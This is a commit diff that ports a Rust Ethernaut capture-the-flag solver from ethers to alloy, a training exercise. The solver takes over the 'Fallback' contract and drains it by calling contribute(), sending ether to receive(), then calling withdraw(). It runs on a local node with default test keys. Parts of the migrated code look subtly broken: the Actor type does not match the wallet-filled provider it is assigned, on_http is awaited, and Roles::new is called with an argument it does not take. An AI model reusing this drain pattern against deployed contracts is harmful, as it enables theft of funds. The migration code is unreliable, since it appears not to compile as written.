Upgrade project to latest Alloy version

Cargo.toml

@@ -8,7 +8,7 @@ exclude = [".github/", "**/tests/", "**/contracts/", "**/cache/", "**/out/"]
 
 [workspace.dependencies]
 async-trait = "0.1.81"
-ethers = "2.0.14"
+alloy = { version = "1.0", features = ["full"] }
 eyre = "0.6"
 rand = "0.8.5"
 serde = "1.0.204"

attack/Cargo.toml

@@ -9,7 +9,7 @@ resolver = "2"
 ctf.path = "../ctf"
 
 async-trait.workspace = true
-ethers.workspace = true
+alloy.workspace = true
 eyre.workspace = true
 serde.workspace = true
 tokio.workspace = true

attack/src/ethernaut/hack01_fallback.rs

@@ -1,6 +1,6 @@
+use alloy::{primitives::U256, rpc::types::TransactionRequest};
 use async_trait::async_trait;
 use ctf::ethernaut::lvl01_fallback::*;
-use ethers::prelude::*;
 
 pub(crate) struct Exploit;
 
@@ -13,22 +13,29 @@ impl ctf::Exploit for Exploit {
         target: &Self::Target,
         offender: &ctf::Actor,
     ) -> eyre::Result<()> {
-        let contract = Fallback::new(target.address, offender.clone());
+        let contract = Fallback::new(target.address, offender);
 
         println!("Calling contribute()...");
-        contract.contribute().value(1).send().await?.await?;
-
-        println!("Calling receive()...");
-        offender
-            .send_transaction(
-                TransactionRequest::new().to(contract.address()).value(1),
-                None,
-            )
+        let receipt = contract
+            .contribute()
+            .value(U256::from(1))
+            .send()
             .await?
+            .get_receipt()
             .await?;
+        println!("Contribute tx: {:?}", receipt.transaction_hash);
+
+        println!("Calling receive()...");
+        let tx = TransactionRequest::default()
+            .to(contract.address())
+            .value(U256::from(1));
+        let receipt =
+            offender.send_transaction(tx).await?.get_receipt().await?;
+        println!("Receive tx: {:?}", receipt.transaction_hash);
 
         println!("Calling withdraw()...");
-        contract.withdraw().send().await?.await?;
+        let receipt = contract.withdraw().send().await?.get_receipt().await?;
+        println!("Withdraw tx: {:?}", receipt.transaction_hash);
 
         Ok(())
     }

attack/src/ethernaut/mod.rs

@@ -3,16 +3,13 @@ pub mod hack01_fallback;
 #[cfg(test)]
 mod tests {
     use super::*;
-    use ethers::prelude::*;
 
     use hack01_fallback as hack01;
 
     #[tokio::test]
     async fn test() -> eyre::Result<()> {
-        let provider = Provider::<Http>::try_from("http://127.0.0.1:8545")?;
-
         println!("Initializing accounts...");
-        let roles = ctf::Roles::new(provider)?;
+        let roles = ctf::Roles::new("http://127.0.0.1:8545").await?;
 
         ctf::check_exploit(&roles, hack01::Exploit).await?;
 

attack/src/roles.rs

@@ -1,43 +1,64 @@
-use ethers::prelude::*;
+use alloy::{
+    providers::{ProviderBuilder, RootProvider},
+    network::Ethereum,
+    signers::{local::PrivateKeySigner, wallet::EthereumWallet},
+    transports::http::{Http, Client},
+    primitives::Address,
+};
 use std::sync::Arc;
 
-pub type Actor = Arc<SignerMiddleware<Provider<Http>, LocalWallet>>;
+pub type Actor = Arc<RootProvider<Http<Client>>>;
 
 #[derive(Debug, Clone)]
 pub struct Roles {
     pub deployer: Actor,
-    pub some_user: Actor,
+    pub deployer_address: Address,
+    pub some_user: Actor, 
+    pub some_user_address: Address,
     pub offender: Actor,
+    pub offender_address: Address,
 }
 
 impl Roles {
-    pub fn new() -> eyre::Result<Self> {
-        let provider = Provider::<Http>::try_from("http://localhost:8545")?;
+    pub async fn new() -> eyre::Result<Self> {
+        let rpc_url = "http://localhost:8545";
 
-        let deployer: LocalWallet =
+        let deployer_key: PrivateKeySigner = 
             "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse()?;
-        let deployer =
-            mk_signer(provider.clone(), deployer, Chain::AnvilHardhat)?;
+        let deployer_address = deployer_key.address();
+        let deployer = mk_provider_with_signer(rpc_url, deployer_key).await?;
 
-        let some_user: LocalWallet =
+        let some_user_key: PrivateKeySigner =
             "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d".parse()?;
-        let some_user =
-            mk_signer(provider.clone(), some_user, Chain::AnvilHardhat)?;
+        let some_user_address = some_user_key.address();
+        let some_user = mk_provider_with_signer(rpc_url, some_user_key).await?;
 
-        let offender: LocalWallet =
+        let offender_key: PrivateKeySigner =
             "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6".parse()?;
-        let offender = mk_signer(provider, offender, Chain::AnvilHardhat)?;
+        let offender_address = offender_key.address();
+        let offender = mk_provider_with_signer(rpc_url, offender_key).await?;
 
-        Ok(Roles { deployer, some_user, offender })
+        Ok(Roles { 
+            deployer, 
+            deployer_address,
+            some_user, 
+            some_user_address,
+            offender,
+            offender_address 
+        })
     }
 }
 
-fn mk_signer(
-    provider: Provider<Http>,
-    wallet: LocalWallet,
-    chain_id: impl Into<u64>,
+async fn mk_provider_with_signer(
+    rpc_url: &str,
+    signer: PrivateKeySigner,
 ) -> eyre::Result<Actor> {
-    let wallet =
-        SignerMiddleware::new(provider, wallet.with_chain_id(chain_id));
-    Ok(Arc::new(wallet))
+    let wallet = EthereumWallet::from(signer);
+    let provider = ProviderBuilder::new()
+        .with_recommended_fillers()
+        .wallet(wallet)
+        .on_http(rpc_url.parse()?)
+        .await?;
+
+    Ok(Arc::new(provider))
 }

ctf/Cargo.toml

@@ -12,4 +12,4 @@ serde = { workspace = true }
 serde_json = { workspace = true }
 async-trait = { workspace = true }
 tokio = { workspace = true }
-ethers = { workspace = true }
+alloy = { workspace = true }